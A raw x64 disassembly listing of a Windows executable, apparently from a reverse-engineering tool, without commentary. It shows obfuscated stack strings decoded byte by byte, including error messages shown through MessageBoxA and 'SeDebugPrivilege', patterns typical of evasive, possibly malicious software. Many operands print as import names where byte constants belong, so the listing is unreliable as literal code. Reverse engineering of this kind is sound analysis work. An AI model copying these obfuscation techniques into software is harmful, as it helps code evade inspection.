lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8bd], al
mov r9d, r15d
lea r8d, [r15 - 1]
mov dl, 0x65
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8be], al
xor eax, eax
mov byte [rbp + 0x8bf], al
mov edi, eax
lea r15d, [rax + 0x20]
mov r9d, reloc.WLDAP32.dll_Ordinal_30
mov r8, rdi
mov dl, byte [rbp + rdi + 0x8a1]
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + rdi + 0x8a1], al
add rdi, r13
cmp rdi, 0x1e
jb 0x14001f933
xor eax, eax
mov byte [rbp + 0x8bf], al
lea rax, [rbp + 0x8a1]
mov qword [rbp + 0xbf0], rax
lea rax, [rbp + 0xbe8]
mov qword [rbp - 0x60], rax
lea rax, [rbp + 0xbf8]
mov qword [rbp - 0x58], rax
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
lea r8, [rbp + 0xbe1]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xeb8]
call fcn.140035fc8
xor ecx, ecx
call fcn.1400a022c
mov rcx, rax
call fcn.14009bc54
call fcn.140094c90
or dword [rbp + 0x2384], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1000]
call fcn.140036bc4
mov rdi, qword [rbp + 0xec0]
sub rdi, qword [rbp + 0xeb8]
sar rdi, 3
lea rcx, [rbp + 0x1000]
call fcn.1400365dc
mov eax, eax
xor edx, edx
div rdi
mov qword [rbp - 0x50], rdx
xor ecx, ecx
mov dword [rsp + 0x78], ecx
mov rax, qword [rbp + 0xec0]
mov rdi, qword [rbp + 0xeb8]
sub rax, rdi
sar rax, 3
test rax, rax
lea r13d, [rcx + 0x10]
je 0x14001fa75
movsxd rcx, edx
mov rcx, qword [rdi + rcx*8]
call fcn.14001baa8
mov dword [rbp - 0x68], eax
test eax, eax
jne 0x14001ff20
mov rcx, qword [rbp + 0xec0]
mov rdi, qword [rbp + 0xeb8]
sub rcx, rdi
sar rcx, 3
mov rax, qword [rbp - 0x50]
inc eax
cdqe
xor edx, edx
div rcx
mov qword [rbp - 0x50], rdx
mov eax, dword [rsp + 0x78]
inc eax
mov dword [rsp + 0x78], eax
cdqe
cmp rax, rcx
jb 0x14001fa27
mov byte [rbp + 0x3f8], reloc.WS2_32.dll_select
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x3f9], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x3fa], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x3fb], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x3fc], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x3fd], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x3fe], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x3ff], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x400], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x401], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r15b
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x402], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x403], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x404], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x405], al
mov r9, rbx
lea r14d, [rsi + 0xc]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x406], al
mov r9, rbx
lea r8d, [rsi + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x407], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x408], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + 0x409], al
xor eax, eax
mov byte [rbp + 0x40a], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x3f9]
lea rcx, [rbp + 0x3f8]
call fcn.140035de8
mov byte [rbp + rdi + 0x3f9], al
add rdi, rsi
cmp rdi, rbx
jb 0x14001fc57
xor edi, edi
mov byte [rbp + 0x40a], dil
mov byte [rbp + 0x6e0], Ordinal_79
mov r9, r12
xor r8d, r8d
mov dl, 0x46
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6e1], al
mov r9, r12
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6e2], al
mov r9, r12
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6e3], al
mov r9, r12
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6e4], al
mov r9, r12
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6e5], al
mov r9, r12
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6e6], al
mov r9, r12
lea r8d, [rdi + 6]
mov dl, r15b
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6e7], al
mov r9, r12
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6e8], al
mov r9, r12
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6e9], al
mov r9, r12
lea r8d, [rdi + 9]
mov dl, r15b
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6ea], al
mov r9, r12
lea r8d, [rdi + 0xa]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6eb], al
mov r9, r12
lea r8d, [rdi + 0xb]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6ec], al
mov r9, r12
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6ed], al
mov r9, r12
mov r8, r14
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6ee], al
mov r9, r12
lea r8d, [rdi + 0xe]
mov dl, r15b
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6ef], al
mov r9, r12
lea r8d, [rdi + 0xf]
mov dl, 0x43
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6f0], al
mov r9, r12
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6f1], al
mov r9, r12
mov r8, rbx
mov dl, 0x69
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6f2], al
mov r9, r12
lea r8d, [rdi + 0x12]
mov dl, 0x65
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6f3], al
mov r9, r12
lea r8d, [rdi + 0x13]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6f4], al
mov r9, r12
lea r8d, [rdi + 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + 0x6f5], al
xor eax, eax
mov byte [rbp + 0x6f6], al
mov rbx, rsi
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x6e1]
lea rcx, [rbp + 0x6e0]
call fcn.140035ed8
mov byte [rbp + rdi + 0x6e1], al
add rdi, rbx
cmp rdi, r12
jb 0x14001fecf
xor eax, eax
mov byte [rbp + 0x6f6], al
xor r9d, r9d
lea r8, [rbp + 0x3f9]
lea rdx, [rbp + 0x6e1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov byte [rbp + 0x950], r12b
mov edi, Ordinal_41
mov r9d, edi
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x951], al
mov r9d, edi
lea r8d, [rdi - 0x25]
mov dl, WSAStartup
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x952], al
mov r9d, edi
lea r8d, [rdi - 0x24]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x953], al
mov r9d, edi
lea r8d, [rdi - 0x23]
mov dl, 0x63
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x954], al
mov r9d, edi
lea r8d, [rdi - 0x22]
mov dl, 0x65
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x955], al
mov r9d, edi
lea r8d, [rdi - 0x21]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x956], al
mov r9d, edi
lea r8d, [rdi - 0x20]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x957], al
mov r9d, edi
lea r8d, [rdi - 0x1f]
mov dl, 0x69
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x958], al
mov r9d, edi
lea r8d, [rdi - 0x1e]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x959], al
mov r9d, edi
lea r8d, [rdi - 0x1d]
mov dl, 0x67
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x95a], al
mov r9d, edi
lea r8d, [rdi - 0x1c]
mov dl, r15b
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x95b], al
mov r9d, edi
lea r8d, [rdi - 0x1b]
mov dl, 0x43
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x95c], al
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x95d], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, 0x6d
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x95e], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x95f], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x6c
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x960], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x961], al
mov r9d, edi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x962], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, 0x65
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x963], al
mov r9d, edi
lea edi, [r9 - 0x13]
mov r8d, edi
mov dl, Ordinal_45
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x964], al
lea r9d, [rdi + 0x13]
mov r8, rsi
mov dl, r15b
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x965], al
lea r9d, [rdi + 0x13]
mov r8, r12
mov dl, 0x50
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x966], al
lea r12d, [rdi + 0x13]
mov r9d, r12d
lea r8d, [rdi + 3]
mov dl, WSAStartup
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x967], al
mov r9d, r12d
mov r8, r14
mov dl, 0x65
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x968], al
mov r9d, r12d
lea r8d, [rdi + 5]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x969], al
mov r9d, r12d
lea r8d, [rdi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x96a], al
mov r9d, r12d
lea r8d, [rdi + 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x96b], al
mov r9d, r12d
lea r8d, [rdi + 8]
mov dl, 0x69
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x96c], al
mov r9d, r12d
lea r8d, [rdi + 9]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x96d], al
mov r9d, r12d
lea r8d, [rdi + 0xa]
mov dl, 0x67
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x96e], al
mov r9d, r12d
lea r8d, [rdi + 0xb]
mov dl, r15b
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x96f], al
mov r9d, r12d
lea r8d, [rdi + 0xc]
mov dl, 0x49
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x970], al
mov r9d, r12d
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x971], al
mov r9d, r12d
lea r8d, [rdi + 0xe]
mov dl, 0x61
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x972], al
mov r9d, r12d
lea r8d, [rdi + 0xf]
mov dl, 0x67
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x973], al
mov r9d, r12d
lea r8d, [rdi + 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x974], al
mov r9d, r12d
lea r8d, [rdi + 0x11]
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x975], al
mov r9d, r12d
lea edx, [rdi - 9]
lea r8d, [rdi + 0x12]
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + 0x976], al
xor eax, eax
mov byte [rbp + 0x977], al
mov r12d, eax
lea r13d, [rdi - 0x12]
mov r9d, Ordinal_41
mov r8, r12
mov dl, byte [rbp + r12 + 0x951]
lea rcx, [rbp + 0x950]
call fcn.140035c08
mov byte [rbp + r12 + 0x951], al
add r12, r13
cmp r12, 0x26
jb 0x140020343
xor r12d, r12d
mov byte [rbp + 0x977], r12b
lea rcx, [rbp + 0x951]
call fcn.140005ba8
call fcn.14001b80c
test al, al
mov r12d, reloc.WS2_32.dll_setsockopt
lea r13d, [r12 - 5]
jne 0x140020968
mov byte [rbp + 0x440], 0x78
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x441], al
mov r9, rbx
lea r14d, [r12 - 0x14]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x442], al
mov r9, rbx
lea r8d, [r12 - 0x13]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x443], al
mov r9, rbx
lea r8d, [r12 - 0x12]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x444], al
mov r9, rbx
lea r8d, [r12 - 0x11]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x445], al
mov r9, rbx
lea r8d, [r12 - 0x10]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x446], al
mov r9, rbx
lea r8d, [r12 - 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x447], al
mov r9, rbx
lea r8d, [r12 - 0xe]
mov dl, 0x61
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x448], al
mov r9, rbx
lea r8d, [r12 - 0xd]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x449], al
mov r9, rbx
lea r8d, [r12 - 0xc]
mov dl, r15b
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x44a], al
mov r9, rbx
lea r8d, [r12 - 0xb]
mov dl, 0x46
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x44b], al
mov r9, rbx
lea r8d, [r12 - 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x44c], al
mov r9, rbx
lea r8d, [r12 - 9]
mov dl, 0x69
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x44d], al
mov r9, rbx
lea r8d, [r12 - 8]
mov dl, 0x6c
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x44e], al
mov r9, rbx
lea r8d, [r12 - 7]
mov dl, 0x75
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x44f], al
mov r9, rbx
lea r8d, [r12 - 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x450], al
mov r9, rbx
mov r8d, r13d
mov dl, 0x65
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + 0x451], al
xor eax, eax
mov byte [rbp + 0x452], al
mov esi, eax
mov r9, rbx
mov r8, rsi
mov dl, byte [rbp + rsi + 0x441]
lea rcx, [rbp + 0x440]
call fcn.140035de8
mov byte [rbp + rsi + 0x441], al
add rsi, r14
cmp rsi, rbx
jb 0x14002058c
xor eax, eax
mov byte [rbp + 0x452], al
lea esi, [rax + 0x1f]
mov byte [rbp + 0x8e8], sil
mov r9d, esi
xor r8d, r8d
mov dl, 0x46
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8e9], al
mov r9d, esi
mov r8, r14
mov dl, 0x61
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8ea], al
mov r9d, esi
lea r8d, [rsi - 0x1d]
mov dl, 0x69
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8eb], al
mov r9d, esi
lea r8d, [rsi - 0x1c]
mov dl, 0x6c
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8ec], al
mov r9d, esi
lea r8d, [rsi - 0x1b]
mov dl, 0x65
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8ed], al
mov r9d, esi
lea r8d, [rsi - 0x1a]
mov dl, 0x64
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8ee], al
mov r9d, esi
lea r8d, [rsi - 0x19]
mov dl, r15b
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8ef], al
mov r9d, esi
lea r8d, [rsi - 0x18]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8f0], al
mov r9d, esi
lea r8d, [rsi - 0x17]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8f1], al
mov r9d, esi
lea r8d, [rsi - 0x16]
mov dl, r15b
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8f2], al
mov r9d, esi
lea r8d, [rsi - 0x15]
mov dl, 0x43
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8f3], al
mov r9d, esi
lea r8d, [rsi - 0x14]
mov dl, 0x6c
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8f4], al
mov r9d, esi
lea r8d, [rsi - 0x13]
mov dl, 0x65
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8f5], al
mov r9d, esi
lea r8d, [rsi - 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8f6], al
mov r9d, esi
lea r8d, [rsi - 0x11]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8f7], al
mov r9d, esi
lea r8d, [rsi - 0x10]
mov dl, 0x75
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8f8], al
mov r9d, esi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8f9], al
mov r9d, esi
mov r8, rbx
mov dl, r15b
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8fa], al
mov r9d, esi
lea r8d, [rsi - 0xd]
mov dl, 0x49
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8fb], al
mov r9d, esi
mov r8, rdi
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8fc], al
mov r9d, esi
lea r8d, [rsi - 0xb]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8fd], al
mov ebx, esi
mov r9d, esi
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8fe], al
mov r9d, esi
lea r8d, [rsi - 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x8ff], al
mov r9d, esi
lea r8d, [rsi - 8]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x900], al
mov r9d, esi
lea r8d, [rsi - 7]
mov dl, 0x65
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x901], al
mov r9d, esi
lea r8d, [rsi - 6]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x902], al
mov r9d, esi
lea r8d, [rsi - 5]
mov dl, r15b
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x903], al
mov r9d, esi
lea r8d, [rsi - 4]
mov dl, 0x44
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x904], al
mov r9d, esi
lea r8d, [rsi - 3]
mov dl, 0x61
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x905], al
mov r9d, esi
lea r8d, [rsi - 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x906], al
mov r9d, esi
lea r8d, [rsi - 1]
mov dl, 0x61
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + 0x907], al
xor eax, eax
mov byte [rbp + 0x908], al
xor esi, esi
mov edi, esi
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x8e9]
lea rcx, [rbp + 0x8e8]
call fcn.140035e60
mov byte [rbp + rdi + 0x8e9], al
add rdi, r14
cmp rdi, rbx
jb 0x140020917
mov byte [rbp + 0x908], sil
xor r9d, r9d
lea r8, [rbp + 0x441]
lea rdx, [rbp + 0x8e9]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r14d
call fcn.14009bc48
int3
mov byte [rbp + 0x2d8], Ordinal_27
mov r9, r13
xor r8d, r8d
mov dl, 0x53
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2d9], al
mov r9, r13
mov r15d, 1
mov r8d, r15d
mov dl, 0x65
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2da], al
mov r9, r13
lea r8d, [r15 + 1]
mov dl, 0x44
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2db], al
mov r9, r13
lea r8d, [r15 + 2]
mov dl, 0x65
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2dc], al
mov r9, r13
lea r8d, [r15 + 3]
mov dl, 0x62
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2dd], al
mov r9, r13
lea r8d, [r15 + 4]
mov dl, 0x75
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2de], al
mov r9, r13
lea r8d, [r15 + 5]
mov dl, 0x67
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2df], al
mov r9, r13
lea r8d, [r15 + 6]
mov dl, 0x50
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2e0], al
mov r9, r13
lea r8d, [r15 + 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2e1], al
mov r9, r13
lea r8d, [r15 + 8]
mov dl, 0x69
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2e2], al
mov r9, r13
lea r8d, [r15 + 9]
mov dl, 0x76
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2e3], al
mov r9, r13
lea r8d, [r15 + 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2e4], al
mov r9, r13
lea r8d, [r15 + 0xb]
mov dl, 0x6c
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2e5], al
mov r9, r13
lea r8d, [r15 + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2e6], al
mov r9, r13
lea r8d, [r15 + 0xd]
mov dl, 0x67
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2e7], al
mov r9, r13
lea r8d, [r15 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + 0x2e8], al
xor eax, eax
mov byte [rbp + 0x2e9], al
mov edi, eax
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2d9]
lea rcx, [rbp + 0x2d8]
call fcn.140035d70
mov byte [rbp + rdi + 0x2d9], al
add rdi, r15
cmp rdi, r13
jb 0x140020b2d
xor edi, edi
mov byte [rbp + 0x2e9], dil
lea rcx, [rbp + 0x2d9]
call fcn.14001b60c
mov qword [rbp + 0xcd8], rdi
mov dword [rbp + 0xd68], gethostname
mov qword [rbp + 0xd70], rdi
mov dword [rbp + 0xd80], edi
mov qword [rbp + 0xd78], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xd88], xmm0
mov eax, dword [rbp - 0x68]
mov qword [rbp + 0xd58], rax
mov qword [rbp + 0xd60], rdi
mov byte [rbp + 0x248], reloc.WLDAP32.dll_Ordinal_26
mov edi, reloc.WS2_32.dll_listen
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x248]
call fcn.140035c80
mov byte [rbp + 0x249], al
mov r9d, edi
mov r13, r15
mov r8, r15
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x248]
call fcn.140035c80
mov byte [rbp + 0x24a], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x248]
